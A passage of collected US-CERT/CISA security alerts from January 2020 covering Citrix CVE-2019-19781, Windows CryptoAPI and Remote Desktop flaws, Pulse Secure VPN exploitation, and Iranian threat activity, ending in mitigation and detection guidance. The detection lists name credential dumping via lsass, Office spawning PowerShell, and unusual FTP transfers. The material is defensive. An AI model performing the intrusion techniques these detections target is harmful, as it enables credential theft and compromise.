  • January 11, 2020 – Citrix released blog post on CVE-2019-19781 with timeline for fixes.[7]
  • January 13, 2020 – CISA released a Current Activity entry describing their utility that enables users and administrators to test whether their Citrix ADC and Citrix Gateway firmware is susceptible to the CVE-2019-19781 vulnerability.[8] 
  • January 16, 2020 – Citrix announced that Citrix SD-WAN WANOP appliance is also vulnerable to CVE-2019-19781.
  • January 19, 2020 – Citrix released firmware updates for Citrix ADC and Citrix Gateway versions 11.1 and 12.0 and blog post on accelerated schedule for fixes.[9]
  • January 22, 2020 – Citrix released security updates for Citrix SD-WAN WANOP release 10.2.6 and 11.0.3.[10]
  • January 22, 2020 – Citrix and FireEye Mandiant released an indicator of compromise (IOC) scanning tool for CVE-2019-19781.[11]
  • January 23, 2020 – Citrix released firmware updates for Citrix ADC and Citrix Gateway versions 12.1 and 13.0.[12]
  • January 24, 2020 – Citrix released firmware updates for Citrix ADC and Citrix Gateway version 10.5.
Technical DetailsImpact

On December 17, 2019, Citrix reported vulnerability CVE-2019-19781. A remote, unauthenticated attacker could exploit this vulnerability to perform arbitrary code execution. This vulnerability has been detected in exploits in the wild.

The vulnerability affects the following appliances:

  • Citrix NetScaler ADC and NetScaler Gateway version 10.5 – all supported builds before
  • Citrix ADC and NetScaler Gateway version 11.1 – all supported builds before
  • Citrix ADC and NetScaler Gateway version 12.0 – all supported builds before
  • Citrix ADC and NetScaler Gateway version 12.1 – all supported builds before
  • Citrix ADC and Citrix Gateway version 13.0 – all supported builds before
  • Citrix SD-WAN WANOP appliance models 4000-WO, 4100-WO, 5000-WO, and 5100-WO – all supported software release builds before 10.2.6b and 11.0.3b. (Citrix SD-WAN WANOP is vulnerable because it packages Citrix ADC as a load balancer).
Detection Measures

Citrix and FireEye Mandiant released an IOC scanning tool for CVE-2019-19781 on January 22, 2020. The tool aids customers with detecting potential IOCs based on known attacks and exploits.[13]

See the National Security Agency’s Cybersecurity Advisory on CVE-2020-19781 for other detection measures.[14]

CISA released a utility that enables users and administrators to detect whether their Citrix ADC and Citrix Gateway firmware is susceptible to CVE-2019-19781.[15] CISA encourages administrators to visit CISA’s GitHub page to download and run the tool.


CISA strongly recommends users and administrators update Citrix ADC, Citrix Gateway, and Citrix SD-WAN WANOP as soon as possible.

The fixed builds can be downloaded from Citrix Downloads pages for Citrix ADC, Citrix Gateway, and Citrix SD-WAN.

Until the appropriate update is implemented, users and administrators should apply Citrix’s interim mitigation steps for CVE-2019-19781.[16] Verify the successful application of the above mitigations by using the tool in CTX269180 – CVE-2019-19781 – Verification ToolTest. Note: these mitigation steps apply to Citrix ADC and SD-WAN WANOP deployments.[17]

Refer to table 1 for Citrix’s fix schedule.[18]

Table 1. Fix schedule for Citrix appliances vulnerable to CVE-2019-19781

Vulnerable Appliance Firmware Update Release Date Citrix ADC and Citrix Gateway version 10.5 Refresh Build January 24, 2020 Citrix ADC and Citrix Gateway version 11.1 Refresh Build January 19, 2020 Citrix ADC and Citrix Gateway version 12.0 Refresh Build January 19, 2020 Citrix ADC and Citrix Gateway version 12.1 Refresh Build January 23, 2020 Citrix ADC and Citrix Gateway version 13.0 Refresh Build January 23, 2020 Citrix SD-WAN WANOP Release 10.2.6 Build 10.2.6b January 22, 2020 Citrix SD-WAN WANOP Release 11.0.3 Build 11.0.3b January 22, 2020


Administrators should review NSA’s Citrix Advisory for other mitigations, such as applying the following defense-in-depth strategy:

“Consider deploying a VPN capability using standardized protocols, preferably ones listed on the National Information Assurance Partnership (NIAP) Product Compliant List (PCL), in front of publicly accessible Citrix ADC and Citrix Gateway appliances to require user authentication for the VPN before being able to reach these appliances. Use of a proprietary SSLVPN/TLSVPN is discouraged.”

References Revisions
  • January 20, 2020: Initial Version
  • January 23, 2020: Updated with information about Citrix releasing fixes for SD-WAN WANOP appliances and an IOC scanning tool
  • January 24, 2020: Updated with information about Citrix releasing fixes for Citrix ADC and Gateway versions 10.5, 12.1, and 13.0
  • January 27, 2020: Updated vulnernable versions of ADC and Gateway version 10.5

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Categories: Security Alerts

AA20-014A: Critical Vulnerabilities in Microsoft Windows Operating Systems

US-CERT Security Alerts - Tue, 01/14/2020 - 09:46
Original release date: January 14, 2020

New vulnerabilities are continually emerging, but the best defense against attackers exploiting patched vulnerabilities is simple: keep software up to date. Timely patching is one of the most efficient and cost-effective steps an organization can take to minimize its exposure to cybersecurity threats.

On January 14, 2020, Microsoft released software fixes to address 49 vulnerabilities as part of their monthly Patch Tuesday announcement. Among the vulnerabilities patched were critical weaknesses in Windows CryptoAPI, Windows Remote Desktop Gateway (RD Gateway), and Windows Remote Desktop Client. An attacker could remotely exploit these vulnerabilities to decrypt, modify, or inject data on user connections:

  • CryptoAPI spoofing vulnerability – CVE-2020-0601: This vulnerability affects all machines running 32- or 64-bit Windows 10 operating systems, including Windows Server versions 2016 and 2019. This vulnerability allows Elliptic Curve Cryptography (ECC) certificate validation to bypass the trust store, enabling unwanted or malicious software to masquerade as authentically signed by a trusted or trustworthy organization. This could deceive users or thwart malware detection methods such as antivirus. Additionally, a maliciously crafted certificate could be issued for a hostname that did not authorize it, and a browser that relies on Windows CryptoAPI would not issue a warning, allowing an attacker to decrypt, modify, or inject data on user connections without detection.
  • Windows RD Gateway and Windows Remote Desktop Client vulnerabilities – CVE-2020-0609, CVE-2020-0610, and CVE-2020-0611: These vulnerabilities affect Windows Server 2012 and newer. In addition, CVE-2020-0611 affects Windows 7 and newer. These vulnerabilities—in the Windows Remote Desktop Client and RD Gateway Server—allow for remote code execution, where arbitrary code could be run freely. The server vulnerabilities do not require authentication or user interaction and can be exploited by a specially crafted request. The client vulnerability can be exploited by convincing a user to connect to a malicious server.

The Cybersecurity and Infrastructure Security Agency (CISA) is unaware of active exploitation of these vulnerabilities. However, because patches have been publicly released, the underlying vulnerabilities can be reverse-engineered to create exploits that target unpatched systems.

CISA strongly recommends organizations install these critical patches as soon as possible—prioritize patching by starting with mission critical systems, internet-facing systems, and networked servers. Organizations should then prioritize patching other affected information technology/operational technology (IT/OT) assets.

Technical DetailsCryptoAPI Spoofing Vulnerability – CVE-2020-0601

A spoofing vulnerability exists in the way Windows CryptoAPI (Crypt32.dll) validates ECC certificates.

According to Microsoft, “an attacker could exploit the vulnerability by using a spoofed code-signing certificate to sign a malicious executable, making it appear the file was from a trusted, legitimate source. The user would have no way of knowing the file was malicious, because the digital signature would appear to be from a trusted provider.” Additionally, “a successful exploit could also allow the attacker to conduct man-in-the-middle attacks and decrypt confidential information on user connections to the affected software.”[1]

A cyber attacker could exploit CVE-2020-0601 to obtain sensitive information, such as financial information, or run malware on a targeted system; for example:

  • A maliciously crafted certificate could appear to be issued for a hostname that did not authorize it, preventing a browser that relies on Windows CryptoAPI from validating its authenticity and issuing warnings. If the certificate impersonates a user’s bank website, their financial information could be exposed.
  • Signed malware can bypass protections (e.g., antivirus) that only run applications with valid signatures. Malicious files, emails, and executables can appear legitimate to unpatched users.

The Microsoft Security Advisory for CVE-2020-0601 addresses this vulnerability by ensuring that Windows CryptoAPI completely validates ECC certificates.

Detection Measures

The National Security Agency (NSA) provides detection measures for CVE-2020-0601 in their Cybersecurity Advisory: Patch Critical Cryptographic Vulnerability in Microsoft Windows Clients and Servers.[2]

Windows RD Gateway Vulnerabilities – CVE-2020-0609/CVE-2020-0610

According to Microsoft, “A remote code execution vulnerability exists in Windows Remote Desktop Gateway (RD Gateway) when an unauthenticated attacker connects to the target system using RDP and sends specially crafted requests. This vulnerability is pre-authentication and requires no user interaction.”[3],[4]


  • Affects all supported Windows Server versions (Server 2012 and newer; support for Server 2008 ends January 14, 2020);
  • Occurs pre-authentication; and
  • Requires no user interaction to perform.

The Microsoft Security Advisories for CVE-2020-0609 and CVE-2020-0610 address these vulnerabilities.

Windows Remote Desktop Client Vulnerability – CVE-2020-0611

According to Microsoft, “A remote code execution vulnerability exists in the Windows Remote Desktop Client when a user connects to a malicious server. An attacker who successfully exploited this vulnerability could execute arbitrary code on the computer of the connecting client.”[5]

CVE-2020-0611 requires the user to connect to a malicious server via social engineering, Domain Name Server (DNS) poisoning, a man-in the-middle attack, or by the attacker compromising a legitimate server.

The Microsoft Security Advisory for CVE-2020-0611 addresses this vulnerability.


A successful network intrusion can have severe impacts, particularly if the compromise becomes public and sensitive information is exposed. Possible impacts include:

  • Temporary or permanent loss of sensitive or proprietary information,
  • Disruption to regular operations,
  • Financial losses relating to restoring systems and files, and
  • Potential harm to an organization’s reputation.



CISA strongly recommends organizations read the Microsoft January 2020 Release Notes page for more information and apply critical patches as soon as possible—prioritize patching by starting with mission critical systems, internet-facing systems, and networked servers. Organizations should then prioritize patching other affected IT/OT assets.

General Guidance

  • Review Guide to Enterprise Patch Management Technologies, NIST Special Publication 800-40 Revision 3. Patch management is the process for identifying, acquiring, installing, and verifying patches for products and systems. This publication is designed to assist organizations in understanding the basics of enterprise patch management technologies. It explains the importance of patch management and examines the challenges inherent in performing patch management. It provides an overview of enterprise patch management technologies, and also briefly discusses metrics for measuring the technologies’ effectiveness.
  • Review CISA Insights publications. Informed by U.S. cyber intelligence and real-world events, each CISA Insight provides background information on particular cyber threats and the vulnerabilities they exploit, as well as a ready-made set of mitigation activities that non-federal partners can implement. Printable materials can be found by visiting: https://www.cisa.gov/publication/cisa-insights-publications.
  • Review CISA’s Cyber Essentials. CISA’s Cyber Essentials is a guide for leaders of small businesses as well as leaders of small and local government agencies to develop an actionable understanding of where to start implementing organizational cybersecurity practices. Essentials are the starting point to cyber readiness. To download the guide, visit: https://www.cisa.gov/publication/cisa-cyber-essentials.
References Revisions
  • January 14, 2020: Initial version
  • January 14, 2020: Minor technical edits

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Categories: Security Alerts

AA20-010A: Continued Exploitation of Pulse Secure VPN Vulnerability

US-CERT Security Alerts - Fri, 01/10/2020 - 03:45
Original release date: January 10, 2020

Unpatched Pulse Secure VPN servers continue to be an attractive target for malicious actors. Affected organizations that have not applied the software patch to fix a remote code execution (RCE) vulnerability, known as CVE-2019-11510, can become compromised in an attack. [1]

Although Pulse Secure [2] disclosed the vulnerability and provided software patches for the various affected products in April 2019, the Cybersecurity and Infrastructure Security Agency (CISA) continues to observe wide exploitation of CVE-2019-11510. [3] [4] [5]

CISA expects to see continued attacks exploiting unpatched Pulse Secure VPN environments and strongly urges users and administrators to upgrade to the corresponding fixes. [6]

Timelines of Specific Events
  • April 24, 2019 – Pulse Secure releases initial advisory and software updates addressing multiple vulnerabilities.
  • May 28, 2019 – Large commercial vendors get reports of vulnerable VPN through HackerOne.
  • July 31, 2019 – Full RCE use of exploit demonstrated using the admin session hash to get complete shell.
  • August 8, 2019 – Meh Chang and Orange Tsai demonstrate the VPN issues across multiple vendors (Pulse Secure) with detailed attack on active VPN exploitation.
  • August 24, 2019 – Bad Packets identifies over 14,500 vulnerable VPN servers globally still unpatched and in need of an upgrade.
  • October 7, 2019 – The National Security Agency (NSA) produces a Cybersecurity Advisory on Pulse Secure and other VPN products being targeted actively by advanced persistent threat actors.
  • October 16, 2019 – The CERT Coordination Center (CERT/CC) releases Vulnerability Note VU#927237: Pulse Secure VPN contains multiple vulnerabilities.
  • January 2020 – Media reports cybercriminals now targeting unpatched Pulse Secure VPN servers to install REvil (Sodinokibi) ransomware.   
Technical DetailsImpact

A remote, unauthenticated attacker may be able to compromise a vulnerable VPN server. The attacker may be able to gain access to all active users and their plain-text credentials. It may also be possible for the attacker to execute arbitrary commands on each VPN client as it successfully connects to the VPN server.

Affected versions:

  • Pulse Connect Secure 9.0R1 - 9.0R3.3
  • Pulse Connect Secure 8.3R1 - 8.3R7
  • Pulse Connect Secure 8.2R1 - 8.2R12
  • Pulse Connect Secure 8.1R1 - 8.1R15
  • Pulse Policy Secure 9.0R1 - 9.0R3.1
  • Pulse Policy Secure 5.4R1 - 5.4R7
  • Pulse Policy Secure 5.3R1 - 5.3R12
  • Pulse Policy Secure 5.2R1 - 5.2R12
  • Pulse Policy Secure 5.1R1 - 5.1R15

This vulnerability has no viable workarounds except for applying the patches provided by the vendor and performing required system updates.

CISA strongly urges users and administrators to upgrade to the corresponding fixes. [7]

References Revisions
  • January 10, 2020: Initial Version

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Categories: Security Alerts

AA20-006A: Potential for Iranian Cyber Response to U.S. Military Strike in Baghdad

US-CERT Security Alerts - Mon, 01/06/2020 - 12:01
Original release date: January 6, 2020

The Cybersecurity and Infrastructure Security Agency (CISA) is sharing the following information with the cybersecurity community as a primer for assisting in the protection of our Nation’s critical infrastructure in light of the current tensions between the Islamic Republic of Iran and the United States and Iran’s historic use of cyber offensive activities to retaliate against perceived harm. Foremost, CISA recommends organizations take the following actions:

  1. Adopt a state of heightened awareness. This includes minimizing coverage gaps in personnel availability, more consistently consuming relevant threat intelligence, and making sure emergency call trees are up to date.
  2. Increase organizational vigilance. Ensure security personnel are monitoring key internal security capabilities and that they know how to identify anomalous behavior. Flag any known Iranian indicators of compromise and tactics, techniques, and procedures (TTPs) for immediate response.
  3. Confirm reporting processes. Ensure personnel know how and when to report an incident. The well-being of an organization’s workforce and cyber infrastructure depends on awareness of threat activity. Consider reporting incidents to CISA to help serve as part of CISA’s early warning system (see Contact Information section below).
  4. Exercise organizational incident response plans. Ensure personnel are familiar with the key steps they need to take during an incident. Do they have the accesses they need? Do they know the processes? Are your various data sources logging as expected? Ensure personnel are positioned to act in a calm and unified manner.
Technical DetailsIranian Cyber Threat Profile

Iran has a history of leveraging asymmetric tactics to pursue national interests beyond its conventional capabilities. More recently, its use of offensive cyber operations is an extension of that doctrine. Iran has exercised its increasingly sophisticated capabilities to suppress both social and political perspectives deemed dangerous to Iran and to harm regional and international opponents.

Iranian cyber threat actors have continuously improved their offensive cyber capabilities. They continue to engage in more “conventional” activities ranging from website defacement, distributed denial of service (DDoS) attacks, and theft of personally identifiable information (PII), but they have also demonstrated a willingness to push the boundaries of their activities, which include destructive wiper malware and, potentially, cyber-enabled kinetic attacks.

The U.S. intelligence community and various private sector threat intelligence organizations have identified the Islamic Revolutionary Guard Corps (IRGC) as a driving force behind Iranian state-sponsored cyberattacks–either through contractors in the Iranian private sector or by the IRGC itself.

Iranian Cyber Activity

According to open-source information, offensive cyber operations targeting a variety of industries and organizations—including financial services, energy, government facilities, chemical, healthcare, critical manufacturing, communications, and the defense industrial base—have been attributed, or allegedly attributed, to the Iranian government. The same reporting has associated Iranian actors with a range of high-profile attacks, including the following:

  • Late 2011 to Mid-2013 – DDoS Targeting U.S. Financial Sector: In response to this activity, in March 2016, the U.S. Department of Justice indicted seven Iranian actors employed by companies performing work on behalf of the IRGC for conducting DDoS attacks primarily targeting the public-facing websites of U.S. banks. The attacks prevented customers from accessing their accounts and cost the banks millions of dollars in remediation. [1] 
  • August/September 2013 – Unauthorized Access to Dam in New York State: In response, in March 2016, the U.S. Department of Justice indicted one Iranian actor employed by a company performing work on behalf of the IRGC for illegally accessing the supervisory control and data acquisition (SCADA) systems of the Bowman Dam in Rye, New York. The access allowed the actor to obtain information regarding the status and operation of the dam. [2]
  • February 2014 – Sands Las Vegas Corporation Hacked: Cyber threat actors hacked into the Sands Las Vegas Corporation in Las Vegas, Nevada, and stole customer data, including credit card data, Social Security Numbers, and driver’s license numbers. According to a Bloomberg article from December 2014, the attack also involved a destructive portion, in which the Sands Las Vegas Corporation’s computer systems were wiped. In September 2015, the U.S. Director of National Intelligence identified the Iranian government as the perpetrator of the attack in a Statement for the Record to the House Permanent Select Committee on Intelligence. [3]
  • 2013 to 2017 – Cyber Theft Campaign on Behalf of IRGC: In response, in March 2018, the U.S. Justice Department indicted nine Iranian actors associated with the Mabna Institute for conducting a massive cyber theft campaign containing dozens of individual incidents, including “many on behalf of the IRGC.” The thefts targeted academic and intellectual property data as well as email account credentials. According to the indictment, the campaign targeted “144 U.S. universities, 176 universities across 21 foreign countries, 47 domestic and foreign private sector companies, the U.S. Department of Labor, the Federal Energy Regulatory Commission, the State of Hawaii, the State of Indiana, the United Nations, and the United Nations Children’s Fund.” [4]
MitigationsRecommended Actions

The following is a composite of actionable technical recommendations for IT professionals and providers to reduce their overall vulnerability. These recommendations are not exhaustive; rather they focus on the actions that will likely have the highest return on investment. In general, CISA recommends two courses of action in the face of potential threat from Iranian actors: 1) vulnerability mitigation and 2) incident preparation.

  1. Disable all unnecessary ports and protocols. Review network security device logs and determine whether to shut off unnecessary ports and protocols. Monitor common ports and protocols for command and control activity.
  2. Enhance monitoring of network and email traffic. Review network signatures and indicators for focused operations activities, monitor for new phishing themes and adjust email rules accordingly, and follow best practices of restricting attachments via email or other mechanisms.  
  3. Patch externally facing equipment. Focus on patching critical and high vulnerabilities that allow for remote code execution or denial of service on externally facing equipment.
  4. Log and limit usage of PowerShell. Limit the usage of PowerShell to only users and accounts that need it, enable code signing of PowerShell scripts, and enable logging of all PowerShell commands.
  5. Ensure backups are up to date and stored in an easily retrievable location that is air-gapped from the organizational network.
Patterns of Publicly Known Iranian Advanced Persistent Threats

The following mitigations and detection recommendations regarding publicly known Iranian advanced persistent threat (APT) techniques are based on the MITRE ATT&CK Framework. [5]

Iranian APT Technique Mitigation and Detection Credential Dumping


  • Manage the access control list for "Replicating Directory Changes" and other permissions associated with domain controller replication.

  • Consider disabling or restricting NTLM.

  • Ensure that local administrator accounts have complex, unique passwords across all systems on the network.

  • Limit credential overlap across accounts and systems by training users and administrators not to use the same password for multiple accounts.


  • Windows: Monitor for unexpected processes interacting with Isass.exe.
  • Linux: The AuditD monitoring tool can be used to watch for hostile processes opening a maps file in the proc file system, alerting on the pid, process name, and arguments for such programs.
Obfuscated Files or Information


  • Consider utilizing the Antimalware Scan Interface (AMSI) on Windows 10 to analyze commands after being processed/interpreted.


  • Windows: Monitor for unexpected processes interacting with Isass.exe.
  • Linux: The AuditD monitoring tool can be used to watch for hostile processes opening a maps file in the proc file system, alerting on the pid, process name, and arguments for such programs.
Data Compressed


  • Network intrusion prevention or data loss prevention tools may be set to block specific file types from leaving the network over unencrypted channels.


  • Process monitoring and monitoring for command-line arguments for known compression utilities.
  • If the communications channel is unencrypted, compressed files can be detected in transit during exfiltration with a network intrusion detection or data loss prevention system analyzing file headers.


  • Set PowerShell execution policy to execute only signed scripts.
  • Remove PowerShell from systems when not needed, but a review should be performed to assess the impact to an environment, since it could be in use for many legitimate purposes and administrative functions.
  • Disable/restrict the WinRM Service to help prevent uses of PowerShell for remote execution.
  • Restrict PowerShell execution policy to administrators.


  • If PowerShell is not used in an environment, looking for PowerShell execution may detect malicious activity.
  • Monitor for loading and/or execution of artifacts associated with PowerShell specific assemblies, such as System. Management.Automation.dll (especially to unusual process names/locations).
  • Turn on PowerShell logging to gain increased fidelity in what occurs during execution (which is applied to .NET invocations).

User Execution


  • Application whitelisting may be able to prevent the running of executables masquerading as other files.
  • If a link is being visited by a user, network intrusion prevention systems and systems designed to scan and remove malicious downloads can be used to block activity.
  • Block unknown or unused files in transit by default that should not be downloaded or by policy from suspicious sites as a best practice to prevent some vectors, such as .scr., .exe, .pif, .cpl, etc.
  • Use user training as a way to bring awareness to common phishing and spearphishing techniques and how to raise suspicion for potentially malicious events.


  • Monitor the execution of and command-line arguments for applications that may be used by an adversary to gain Initial Access that require user interaction. This includes compression applications, such as those for zip files that can be used to Deobfuscate/Decode Files or Information in payloads.
  • Anti-virus can potentially detect malicious documents and files that are downloaded and executed on the user's computer.
  • Endpoint sensing or network sensing can potentially detect malicious events once the file is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning Powershell.exe) for techniques such as Exploitation for Client Execution and Scripting.


  • Configure Office security settings enable Protected View, to execute within a sandbox environment, and to block macros through Group Policy. Other types of virtualization and application microsegmentation may also mitigate the impact of compromise.
  • Turn off unused features or restrict access to scripting engines such as VBScript or scriptable administration frameworks such as PowerShell.


  • Examine scripting user restrictions. Evaluate any attempts to enable scripts running on a system that would be considered suspicious.
  • Scripts should be captured from the file system when possible to determine their actions and intent.
  • Monitor processes and command-line arguments for script execution and subsequent behavior.
  • Analyze Office file attachments for potentially malicious macros.
  • Office processes, such as winword.exe, spawning instances of cmd.exe, script application like wscript.exe or powershell.exe, or other suspicious processes may indicate malicious activity.
Registry Run Keys/Startup Folder


  • This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of system features.


  • Monitor Registry for changes to run keys that do not correlate with known software, patch cycles, etc.
  • Monitor the start folder for additions or changes.
  • Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing the run keys' Registry locations and startup folders.
  • To increase confidence of malicious activity, data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.
Remote File Copy


  • Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware or unusual data transfer over known tools and protocols like FTP can be used to mitigate activity at the network level.


  • Monitor for file creation and files transferred within a network over SMB.
  • Monitor use of utilities, such as FTP, that does not normally occur.
  • Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server).
  • Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.

Spearphishing Link


  • Determine if certain websites that can be used for spearphishing are necessary for business operations and consider blocking access if activity cannot be monitored well or if it poses a significant risk.
  • Users can be trained to identify social engineering techniques and spearphishing emails with malicious links.


  • URL inspection within email (including expanding shortened links) can help detect links leading to known malicious sites.
  • Detonation chambers can be used to detect these links and either automatically go to these sites to determine if they're potentially malicious, or wait and capture the content if a user visits the link.
Spearphishing Attachment


  • Anti-virus can automatically quarantine suspicious files.
  • Network intrusion prevention systems and systems designed to scan and remove malicious email attachments can be used to block activity.
  • Block unknown or unused attachments by default that should not be transmitted over email as a best practice to prevent some vectors, such as .scr, .exe, .pif, .cpl, etc.
  • Some email scanning devices can open and analyze compressed and encrypted formats, such as zip and rar that may be used to conceal malicious attachments in Obfuscated Files or Information.
  • Users can be trained to identify social engineering techniques and spearphishing emails.


  • Network intrusion detection systems and email gateways can be used to detect spearphishing with malicious attachments in transit.
  • Detonation chambers may also be used to identify malicious attachments.
  • Solutions can be signature and behavior based, but adversaries may construct attachments in a way to avoid these systems.
  • Anti-virus can potentially detect malicious documents and attachments as they're scanned to be stored on the email server or on the user's computer.
Contact Information

CISA encourages recipients of this report to contribute any additional information that they may have related to this threat. For any questions related to this report, please contact CISA at

  • 1-888-282-0870 (From outside the United States: +1-703-235-8832)
  • CISAServiceDesk@cisa.dhs.gov (UNCLASS)
  • us-cert@dhs.sgov.gov (SIPRNET)
  • us-cert@dhs.ic.gov (JWICS)

CISA encourages you to report any suspicious activity, including cybersecurity incidents, possible malicious code, software vulnerabilities, and phishing-related scams. Reporting forms can be found on the CISA homepage at http://www.us-cert.gov/.

References Revisions
  • January 6, 2019: Initial version

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Categories: Security Alerts
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